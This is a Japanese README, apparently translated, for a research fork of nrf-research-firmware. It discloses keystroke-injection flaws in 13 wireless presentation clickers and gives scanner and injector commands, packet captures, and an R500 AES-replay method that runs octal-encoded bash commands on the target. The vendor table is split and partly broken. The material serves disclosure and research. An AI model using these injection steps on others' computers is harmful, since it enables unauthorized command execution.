
ワイヤレスプレゼンテーションクリッカーにおけるキーストロークインジェクションの脆弱性
RFリバースエンジニアリングをやってみたくなったので、プレゼンテーションクリッカーを数台注文していろいろ楽しんでみた。
これは nrf-research-firmware のフォークです(数年前に Bastille で私が書いたものです)。いくつかの新しいトランシーバー/プロトコルへの対応を追加し、13種類の一般的なプレゼンテーションクリッカー向けのキーストロークインジェクションのPoCを含めました。
| ベンダー | モデル | プロトコル | RFIC | 追加日 |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 |
これは、R500 で使用されている標準的な暗号化 Logitech キーボードプロトコルです。MouseJack プロジェクトの一環として Logitech Unifying キーボードで文書化した「暗号化キーストロークインジェクション」攻撃に対して、ある意味脆弱です。
ある意味と言うのは、すべてのHIDスキャンコードが受け入れられるわけではないからです。具体的には、ドングルがパケットをホストコンピュータに送信する際、0x04-0x1D(A-Z)は0x00に置き換えられます。つまり、文字でない限り、好きなものを注入できるということです。もう1つの例外は、ctrlキーのコンビネーションが文字を含む場合でも許可されることです。
R500 を介した効果的なキーストロークインジェクションには、少し工夫が必要です。
ターゲットがbashセッション上にいると仮定します。bashでは、文字を8進数でエンコードし、ターゲットに実行させたいコマンド(文字を含む)をエンコードできます。
例えば、ping google.com は $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155' とエンコードされます。この文字列をbashセッションに送信し、その後 enter を送信すれば、ターゲットマシン上で ping google.com コマンドが実行されます。
nrf24-scanner を使って、お使いの Logitech R500 のアドレスを次のようにして見つけることができます:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
パケットは次のような感じになります:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
インジェクションが可能なのは、ドングルがAESカウンタのインクリメントを強制しないため、パケットをリプレイできるからです。OTAで送信されるパケットは、AESカウンタモードで暗号化されたUSB HIDペイロードと、その後のカウンタで構成されています。プレゼンテーションクリッカーのボタンを押すと、キーダウンパケットとキーアップパケットが生成されます。キーアップパケットはすべて0なので、再利用できるクリーンな鍵材料が得られ、自分のペイロードとXORしてOTAで送信できます。
ボタン押下を待ち受け、2番目(キーアップ)のパケットを取り出し、それを鍵材料のリファレンスとして自動的に使用するプロセスを自動化するのは難しくないはずです。しかし、私は怠け者なので、まず自分でボタン押下を観測する必要があります。次のような感じです:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
2番目の22バイトのパケットがキーアップパケットです。
ペイロードの最後のバイトを削除し、その文字列を logitech.py にコピー&ペーストして、KEYUP_REF を置き換えてください。
(KEYUP_REF を更新しないと動作しないはずですが、もし動作した場合はお知らせください!)
bash の ping google.com を8進数エンコードしたキーストローク系列を、特定の Logitech R500 ドングル(アドレス 85:D1:9D:FE:07)に注入します:
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
これは、R400/R800 で使用されている標準的な非暗号化 Logitech プロトコルです。
nrf24-scanner を使って、お使いの Logitech R400/R800 のアドレスを次のようにして見つけることができます:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
パケットは次のような感じになります:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
テスト用のキーストローク系列を、特定の Logitech R400/R800 ドングル(アドレス 9D:9E:95:52:07)に注入します:
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
Rii Wireless Presenter(丸型ペン型)は BK2451(nRF24 のクローンと思われる)をベースにしています。姉妹機種が多く存在することから、これは汎用プロトコルのように見えるので、もう少しデータを集めたら再分類するつもりです。
機能的には非暗号化のワイヤレスキーボードであり、キーストロークインジェクションに対して脆弱です。
Wireless Presenter(丸型ペン型)は、250Kb/s の nRF24 Enhanced Shockburst(ACKなしと思われる)と5バイトのアドレスを使用します。私がテストしたデバイスは2425 MHzに固定されているように見えましたが、何らかの周波数アジリティ方式を使用しているようです。実際には、キーストロークパケットを送信する前に、ターゲットチャンネルにダミーパケットをいくつか送信する必要があります。
チャンネルホッピングが行われている可能性があると思いますが、その特性はまだ解明していません。ただし、単一のチャンネルを狙うだけでキーストロークインジェクションを実証するには十分です。
nrf24-scanner を使って、お使いの Wireless Presenter(丸型ペン型)のアドレスを次のようにして見つけることができます:
sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5
なお、お使いのデバイスは別のチャンネルにある可能性があります。
パケットは次のような感じになります:
[2019-04-21 11:50:33.116] 25 3 6D:8C:01:14:25 4B:51:00
[2019-04-21 11:50:33.212] 25 3 6D:8C:01:14:25 4C:00:00
[2019-04-21 11:50:33.522] 25 3 6D:8C:01:14:25 4D:51:00
[2019-04-21 11:50:33.565] 25 3 6D:8C:01:14:25 4E:00:00
テスト用のキーストローク系列を、特定の Rii ドングル(アドレス 6D:8C:01:14:25)に注入します:
sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25
TBBSC DSIT-60 は BK2451(nRF24 のクローンと思われる)をベースにしています。明らかな姉妹機種(例:これ)がありますが、私はテストしていません。現時点ではこれを独立したプロトコルとして分類していますが、姉妹機種をテストすれば変更される可能性が高いです。
機能的には非暗号化のワイヤレスキーボードであり、キーストロークインジェクションに対して脆弱です。
DSIT-60 は、3バイトのアドレスを持つ250Kb/sのnRF24 Enhanced Shockburst(または少なくともOTA上で同等のもの)を使用します。私がテストしたデバイスは2406 MHzに固定されているように見えましたが、他にどのチャンネルを使うのかは確信がありません。
nrf24-scanner を使って、お使いの DSIT-60 のアドレスを次のようにして見つけることができます:
sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3
なお、お使いのデバイスは別のチャンネルにある可能性があります。また、私が観測していない周波数アジリティの再チューニングが存在する可能性もあります。
パケットは次のような感じになります:
[2019-04-21 10:33:44.264] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:44.269] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:52.477] 6 4 87:02:09 01:42:00:28
テスト用のキーストローク系列を、特定の TBBSC DSIT-60 ドングル(アドレス 87:02:09)に注入します:
sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09
これはほぼ間違いなく汎用プロトコルですが、まだ姉妹機種を調べていません(例:これ)。現時点ではこれを独立したプロトコルとして分類していますが、姉妹機種をテストすれば変更される可能性が高いです。
P-001 は nRF24 RFIC ファミリをベースとしており、機能的には非暗号化のワイヤレスキーボードで、キーストロークインジェクションに対して脆弱です。
P-001 は、5バイトアドレスとチャンネル2402-2476を持つ2Mb/sのnRF24 Enhanced Shockburstを使用します。
nrf24-scanner.py を使って、お使いの P-001 のアドレスを見つけることができます。
右矢印を押すと、次のようなパケットが生成されるはずです:
[2019-04-20 12:59:13.908] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.909] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.999] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
[2019-04-20 12:59:14.120] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.121] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.211] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
テスト用のキーストローク系列を、特定の AmazonBasics P-001 ドングル(アドレス 44:CB:66:A3:BE)に注入します:
sudo ./tools/preso-injector.py -l -f amazon -a 44:CB:66:A3:BE
このプロトコルが Canon PR100-R に固有のものかどうかは確信がありませんが、このプロトコルを話すデバイスとして私が観測したのはこれだけなので、データが他の可能性を示すまで、このプロトコルは専用のカテゴリにしておきます。
PR100-R は PL1167 RFIC と、不明なMCUをベースにしています。
PR100-R は機能的には非暗号化のワイヤレスキーボードであり、キーストロークインジェクションに対して脆弱です。
PR100-R は、2406 MHz から 2481 MHz の間の5MHz間隔のチャンネルで動作する1Mb/sのFSKプロトコルを使用します。
パケットはホワイトニングされ、16ビットCRCで保護されています。
ドングルから返されるACKは存在しないようです。ただし、私はこのプロトコルをキーストロークインジェクションの実証に十分な範囲でのみリバースエンジニアリングしたことに留意してください。
このプロトコルはチャンネル選択に周波数アジリティ方式を採用しているようで、リモコンがあるチャンネルで数パケット送信した後、ドングルはそのチャンネルに落ち着きます。実際には、キーストロークパケットを送信する前に、数秒間ダミーパケットを送信すれば十分です。
パケット形式からは、このプロトコルが固定同期ワードを使用するのか、デバイスごとのアドレスを使用するのかは不明です。高価格帯のため、私は単一のユニットしか調べていないので、パケット形式を完全に検証することはできませんでした。
インジェクションスクリプトは私の PR100-R に対しては動作しますが、一般的な使用には修正が必要かもしれません。もし別の PR100-R をお持ちで、これを検証できる方は、ぜひお知らせください!
テスト用のキーストローク系列を、近くの Canon PR100-R ドングルに注入します:
sudo ./tools/preso-injector.py -l -f canon
HS304 は、プレゼンテーションクリッカー(またはワイヤレスキーボード/マウス)向けの特定用途向けRFICであると思われます。この名前は USB デバイス文字列 HAS HS304 に由来し、このセットのすべてのデバイスで同じでした。
このRFICは、マークのない SOP-16 パッケージであることが観測され、ベンダー間で明らかな違いはありませんでした。
HS304 ベースのデバイスは、機能的には非暗号化のワイヤレスキーボードであり、キーストロークインジェクションに対して脆弱です。
HS304 は、2.4GHz ISM バンドの3つのチャンネル(2407、2433、2463)で動作する1Mb/sのFSKプロトコルです。ドングルからプレゼンテーションクリッカーへのACKは送信されていないようで、パケット配信は各パケットを3つのチャンネルすべてで送信することで保証されています。
実際には、単一のチャンネルで各パケットを複数回送信することでも、信頼性の高いパケット配信を実現できます。
パケットはホワイトニングされ、16ビットCRCで保護されています。
アドレッシングやペアリングの仕組みがないため、キーストロークインジェクションにデバイス発見は不要ですが、ACKがないため、ドングルの能動的な発見はできません。
テスト用のキーストローク系列を、近くの HS304 ドングルに注入します:
sudo ./tools/preso-injector.py -l -f hs304
近くの NS304 プレゼンテーションクリッカーから送信されたパケットを受信してデコードします:
sudo ./tools/preso-scanner.py -l -f hs304
| 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |